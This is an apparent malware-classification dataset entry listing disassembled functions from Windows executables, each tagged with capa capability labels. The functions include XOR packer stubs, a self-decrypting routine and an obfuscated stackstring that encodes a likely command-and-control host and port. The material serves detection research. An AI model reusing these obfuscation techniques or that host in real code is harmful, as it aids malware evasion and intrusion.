joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41cd0a
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x59ff60]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x41cd9c
test esi, esi
je 0x41cd9c
push esi
call fcn.00527500
push 0xff
mov ebx, eax
mov byte [ebp - 0x104], 0
lea eax, [ebp - 0x103]
push 0
push eax
call fcn.00525c60
mov eax, 0x100
add esp, 0x10
cmp ebx, eax
ja 0x41cd81
push eax
lea eax, [ebp - 0x104]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
cmp eax, ebx
jne 0x41cd81
push esi
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x41cd89
push esi
push edi
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00525164
mov esp, ebp
pop ebp
ret 8
call fcn.00408ec5
int3

Function at 0x41e2af
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x230
mov eax, 0x5423a3
call fcn.00527450
mov edi, ecx
xor ebx, ebx
mov dword [ebp - 0x230], ebx
call fcn.0040f5fa
push ebx
mov ecx, dword [eax + 4]
call fcn.0041b648
mov esi, eax
mov dword [ebp - 0x238], ebx
mov dword [ebp - 0x23c], esi
mov dword [ebp - 0x234], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x228], ebx
mov dword [ebp - 0x224], ebx
mov eax, dword [edi]
lea ecx, [ebp - 0x21c]
push ecx
mov ecx, edi
mov byte [ebp - 4], 1
call dword [eax + 0x20]
push 0x2001f
lea ecx, [ebp - 0x22c]
push dword [eax]
push esi
call fcn.0041e05e
mov ecx, dword [ebp - 0x21c]
mov ebx, eax
neg ebx
sbb bl, bl
lea ecx, [ecx - 0x10]
call fcn.00402420
inc bl
je 0x41e45d
xor ebx, ebx
lea eax, [ebp - 0x113]
push 0x103
push ebx
push eax
mov esi, ebx
mov byte [ebp - 0x114], bl
call fcn.00525c60
add esp, 0xc
mov dword [ebp - 0x21c], 0x104
lea eax, [ebp - 0x21c]
push ebx
push ebx
push ebx
push ebx
push eax
lea eax, [ebp - 0x114]
push eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
jmp 0x41e419
push 0x103
lea eax, [ebp - 0x217]
mov dword [ebp - 0x21c], 0x104
push 0
push eax
inc esi
mov byte [ebp - 0x218], 0
call fcn.00525c60
add esp, 0xc
mov dword [ebp - 0x220], 0x104
lea eax, [ebp - 0x220]
lea ecx, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.0041e24d
test eax, eax
jne 0x41e404
lea eax, [ebp - 0x114]
push eax
lea ecx, [edi + 4]
call fcn.0041d3e0
lea ecx, [ebp - 0x218]
push ecx
mov ecx, eax
call fcn.004024e0
mov dword [ebp - 0x230], 1
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x114]
push eax
push esi
push dword [ebp - 0x22c]
call ebx
test eax, eax
je 0x41e387
lea ecx, [ebp - 0x22c]
call fcn.0040fa3d
mov eax, dword [edi]
lea ecx, [ebp - 0x220]
push ecx
mov ecx, edi
call dword [eax + 0x20]
lea ecx, [ebp - 0x23c]
push dword [eax]
call fcn.0041d9a6
mov ecx, dword [ebp - 0x220]
add ecx, 0xfffffff0
call fcn.00402420
lea ecx, [ebp - 0x22c]
call fcn.0040fa3d
lea ecx, [ebp - 0x23c]
call fcn.0040fa3d
mov eax, dword [ebp - 0x230]
call fcn.005273ff
ret
Function at 0x41f8ae
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
mov ecx, dword [esi + 4]
call fcn.0041a1eb
push 0xfffffffffffffff0
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongA]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x41f8ea
call fcn.0041facd
mov dword [esi + 0xc], 1
jmp 0x41f8ef
call fcn.0041facd
cmp dword [esi], 0
je 0x41f938
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov esi, dword [ebp + 0x10]
test eax, eax
jle 0x41f912
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, esi
call fcn.00409ea0
jmp 0x41f923
push 0xff
mov ecx, esi
call fcn.004023a0
push 0x100
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0xffffffffffffffff
mov ecx, esi
call fcn.00409ec3
jmp 0x41f95c
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 0xffffffff
jne 0x41f95c
push dword [esi]
push dword [ebp - 4]
call fcn.0041cd0a
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x41fa22
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
push dword [ebp + 0xc]
call fcn.0041facd
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x41fa6a
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00409ea0
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00409ec3
jmp 0x41fa75
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0041cd0a
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x41fb11
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x59ff60]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 8]
mov ecx, edi
push eax
mov dword [ebp - 0x48], esi
call fcn.0041facd
cmp dword [edi], 0
mov ebx, eax
mov dword [edi + 0xc], 1
je 0x41fb82
mov esi, dword [ebp + 0x18]
lea eax, [ebp - 0x44]
push 0x40
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
push esi
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push 0x40
push eax
call fcn.0052c3af
add esp, 0x10
cmp eax, 1
je 0x41fbd0
push 0xffffffffffffffff
push 0
push dword [ebp + 0x14]
call fcn.0040f6d7
mov ecx, edi
call fcn.0041fa7b
jmp 0x41fbd0
call fcn.005267d8
mov edi, dword [eax]
call fcn.005267d8
and dword [eax], 0
lea eax, [ebp + 0x18]
push eax
push esi
push 0x3f
lea eax, [ebp - 0x44]
push 0x40
push eax
call fcn.00526580
add esp, 0x14
call fcn.005267d8
cmp dword [eax], 0
je 0x41fbbf
call fcn.005267d8
push dword [eax]
call fcn.004095e8
pop ecx
jmp 0x41fbc6
call fcn.005267d8
mov dword [eax], edi
lea eax, [ebp - 0x44]
push eax
push ebx
call fcn.0041cd0a
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00525164
mov esp, ebp
pop ebp
ret
Function at 0x4220bf
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor esi, esi
call fcn.0040f5fa
push 5
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4220f6
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov ecx, dword [ebp - 4]
push ebx
push dword [ebp + 0xc]
push esi
call fcn.00422117
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x43167e
Capabilities:
Get common file path
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
mov eax, dword [0x59ff60]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x4316d3
xor eax, eax
test esi, esi
sete al
or eax, 0x4000
push eax
push 0x160
lea eax, [ebp - 0x26c]
push eax
push 0
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00525164
mov esp, ebp
pop ebp
ret 4
Function at 0x431fd6
Capabilities:
Get file system object information

Disassembly:
push 0x398
mov eax, 0x543702
call fcn.00527450
mov edi, ecx
mov ecx, dword [ebp + 0x14]
xor ebx, ebx
mov esi, dword [ebp + 8]
xor eax, eax
test ecx, ecx
mov dword [ebp - 0x3a4], ebx
setne al
test eax, eax
jne 0x432005
call fcn.00408ec5
mov eax, dword [ebp + 0x10]
sub eax, ebx
je 0x43212d
dec eax
je 0x432057
dec eax
je 0x43202f
dec eax
je 0x432057
push 0x551d28
mov ecx, esi
call fcn.00401bb0
mov eax, esi
call fcn.005273ff
ret 0x10
push 0x408
push 0x160
lea eax, [ebp - 0x39c]
push eax
push ebx
push dword [ecx + 4]
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
test eax, eax
je 0x432019
lea eax, [ebp - 0x28c]
push eax
jmp 0x43201e
lea eax, [ebp - 0x114]
push eax
push dword [ecx + 4]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
test eax, eax
je 0x432019
push ebx
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], ebx
push eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x238], ebx
push eax
mov dword [ebp - 0x234], ebx
mov dword [ebp - 0x230], ebx
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x228], ebx
call fcn.00412dcf
test eax, eax
je 0x432019
call fcn.0040a217
push eax
lea ecx, [ebp - 0x3a0]
call fcn.00401b80
cmp dword [ebp + 0x10], 1
mov dword [ebp - 4], ebx
jne 0x4320ed
test byte [ebp - 0x21c], 0x18
jne 0x432105
mov eax, dword [edi]
lea ecx, [ebp - 0x3a0]
push ecx
push dword [ebp - 0x220]
mov ecx, edi
push dword [ebp - 0x224]
call dword [eax + 0x19c]
jmp 0x432105
mov eax, dword [edi]
lea ecx, [ebp - 0x3a0]
push ecx
lea ecx, [ebp - 0x234]
push ecx
mov ecx, edi
call dword [eax + 0x1a0]
mov eax, dword [ebp - 0x3a0]
add eax, 0xfffffff0
push eax
call fcn.00403470
pop ecx
mov ecx, dword [ebp - 0x3a0]
add eax, 0x10
mov dword [esi], eax
lea ecx, [ecx - 0x10]
call fcn.00402420
jmp 0x432025
push 0x208
push 0x160
lea eax, [ebp - 0x39c]
push eax
push ebx
push dword [ecx + 4]
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
test eax, eax
je 0x432019
lea eax, [ebp - 0x390]
jmp 0x432054

Function at 0x4322de
Capabilities:
Get common file path

Disassembly:
push esi
mov esi, ecx
call fcn.00469235
call fcn.0040f64e
cmp dword [eax + 0x14], 0
jne 0x4322f9
mov ecx, esi
pop esi
jmp fcn.004316e4
pop esi
ret

Function at 0x43306d
Capabilities:
Get common file path
Get file system object information

Disassembly:
push esi
mov esi, ecx
call fcn.004ad800
call fcn.0040f64e
cmp dword [eax + 0x14], 0
jne 0x433088
mov ecx, esi
pop esi
jmp fcn.00432956
pop esi
ret
Function at 0x46959a
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
test esi, esi
je 0x4695e8
push esi
mov ebx, 0x811c9dc5
xor edi, edi
call fcn.00527500
xor edx, edx
mov dword [ebp + 8], 0xa
pop ecx
mov ecx, eax
div dword [ebp + 8]
inc eax
test ecx, ecx
je 0x4695dd
mov edx, ecx
movsx ecx, byte [edi + esi]
add edi, eax
imul ebx, ebx, 0x1000193
xor ebx, ecx
cmp edi, edx
jb 0x4695cb
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.00408ec5
int3

Function at 0x469de3
Capabilities:
Create http request
Read data from internet
Receive data
Terminate process

Disassembly:
push ecx
push ecx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edi
push 0
call esi
push dword [0x59f1d0]
call esi
push dword [0x59f1b8]
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [0x59f164]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x59f188]
and dword [esp + 0x14], 0
mov edi, eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebp
add byte [eax - 1], dl
adc eax, sym.imp.KERNEL32.dll_HeapAlloc
push 0x104
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
call edi
mov esi, dword [0x59f168]
mov edi, eax
cmp dword [esi], 0
invalid
invalid
je 0x469e8e
push edi
call fcn.00469dab
cmp al, byte [esi]
je 0x469e7e
cmp al, byte [esi + 1]
je 0x469e7e
push 0x10
push dword [0x59f15c]
invalid
invalid
je 0x469e5d
Function at 0x4c5b9f
Capabilities:
Get file system object information

Disassembly:
push 0x270
mov eax, 0x54b0c6
call fcn.00527450
mov ebx, ecx
mov eax, dword [ebx + 0x14]
sub eax, 0x10
push eax
call fcn.00403470
pop ecx
lea esi, [eax + 0x10]
mov dword [ebp - 0x278], esi
and dword [ebp - 4], 0
lea ecx, [ebp - 0x278]
push 0
push str.__0r
call fcn.004089f0
cmp eax, 0xffffffff
jne 0x4c5c84
push 0
push 0x559804
lea ecx, [ebp - 0x278]
call fcn.004089f0
cmp eax, 0xffffffff
jne 0x4c5c84
push 0
push 0x553348
lea ecx, [ebp - 0x278]
call fcn.004089f0
cmp eax, 0xffffffff
jne 0x4c5c84
mov eax, dword [ebx + 0x14]
sub eax, 0x10
push eax
call fcn.00403470
pop ecx
lea edi, [eax + 0x10]
mov dword [ebp - 0x27c], edi
xor ecx, ecx
mov byte [ebp - 4], 1
push ecx
lea eax, [ebp - 0x114]
push eax
push 0x104
push ecx
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_SearchPathA]
test eax, eax
jne 0x4c5c60
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x14]
lea ecx, [edi - 0x10]
mov ebx, eax
call fcn.00402420
jmp 0x4c5cb3
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x278]
call fcn.004024e0
lea ecx, [edi - 0x10]
mov byte [ebp - 4], 0
call fcn.00402420
mov esi, dword [ebp - 0x278]
push 0x105
push 0x160
lea eax, [ebp - 0x274]
push eax
push 0
push esi
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
test eax, eax
je 0x4c5caa
mov ebx, dword [ebp - 0x274]
jmp 0x4c5cb3
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x14]
mov ebx, eax
lea ecx, [esi - 0x10]
call fcn.00402420
mov eax, ebx
call fcn.005273ff
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x408939
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x4085d8
call fcn.00408950
or ecx, esi
xor dword [edi], ebx
inc esi
inc edi
cmp edi, edx
jne fcn.00408939
and esi, ecx
ret
Function at 0x57630c
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.0057638b
jae 0x576318
xor ecx, ecx
call fcn.0057638b
jae 0x576342
xor eax, eax
call fcn.0057638b
jae 0x576353
mov al, 0x10
call fcn.0057638b
adc al, al
jae 0x576334
jne 0x576380
stosb byte es:[edi], al
jmp 0x576319
call fcn.00576397
dec ecx
loop 0x57635f
mov eax, ebp
call fcn.00576395
jmp 0x576381
lodsb al, byte [esi]
shr eax, 1
je 0x5763a7
adc ecx, 2
mov ebp, eax
jmp 0x576381
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.00576395
cmp eax, 0x7d00
jae 0x57637f
cmp eax, 0x500
jae 0x576380
cmp eax, 0x7f
ja 0x576381
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x576319
pop ebp
ret 8

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x5ef84e22
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..rsrc
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x481d66b9
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401af0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x401b3b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x401b34
test esi, esi
je 0x401b34
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401b10
mov dword [esp], 0x408044
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401d20
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x401d70
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x401e48
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x401dae
cmp eax, 4
jne 0x401dd0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x401dbe
cmp edx, 4
je 0x401dbe
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401d20
Function at 0x403f94
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x40
call fcn.004019e0
call sub.KERNEL32.dll_FreeConsole
cmp dword [ebp + 8], 3
jne 0x403fdb
mov eax, dword [ebp + 0xc]
add eax, 8
mov eax, dword [eax]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [esp + 0x3c], eax
mov eax, dword [ebp + 0xc]
add eax, 4
mov eax, dword [eax]
mov edx, dword [esp + 0x3c]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00403be0
jmp 0x40402c
mov dword [esp + 0x1f], 0x646e6977
mov dword [esp + 0x23], 0x7873776f
mov dword [esp + 0x27], 0x2e6c6c64
mov dword [esp + 0x2b], 0x76726573
mov dword [esp + 0x2f], 0x70746665
mov dword [esp + 0x33], 0x6d6f632e
mov byte [esp + 0x37], 0
mov dword [esp + 0x38], 0x8ae
mov eax, dword [esp + 0x38]
mov dword [esp + 4], eax
lea eax, [esp + 0x1f]
mov dword [esp], eax
call fcn.00403be0
mov eax, 0
leave
ret
Function at 0x408942
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x4085d8
push 0x7627c732
pop ecx
call fcn.00408964
xor dword [ebx], esi
add eax, 1
or eax, eax
inc ebx
cmp ebx, edx
jne fcn.00408942
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x57b370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x57b38e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x5a4074
push ecx
mov edi, eax
call fcn.0058f198
mov esi, eax
add esp, 8
test esi, esi
jne 0x57b3cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.0058f02e
push esi
call fcn.0058efb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x57e850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0x57e8ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0x5a9720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x57e8ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.0058f1e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0x57e8ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x5a9720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x57e92a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00590082
xor esi, esi
add esp, 8
cmp eax, esi
je 0x57e957
mov word [eax], si
add eax, 2
push eax
call fcn.00590030
add esp, 4
jmp 0x57e959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0x57e8ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0x57e8b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0x57eff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret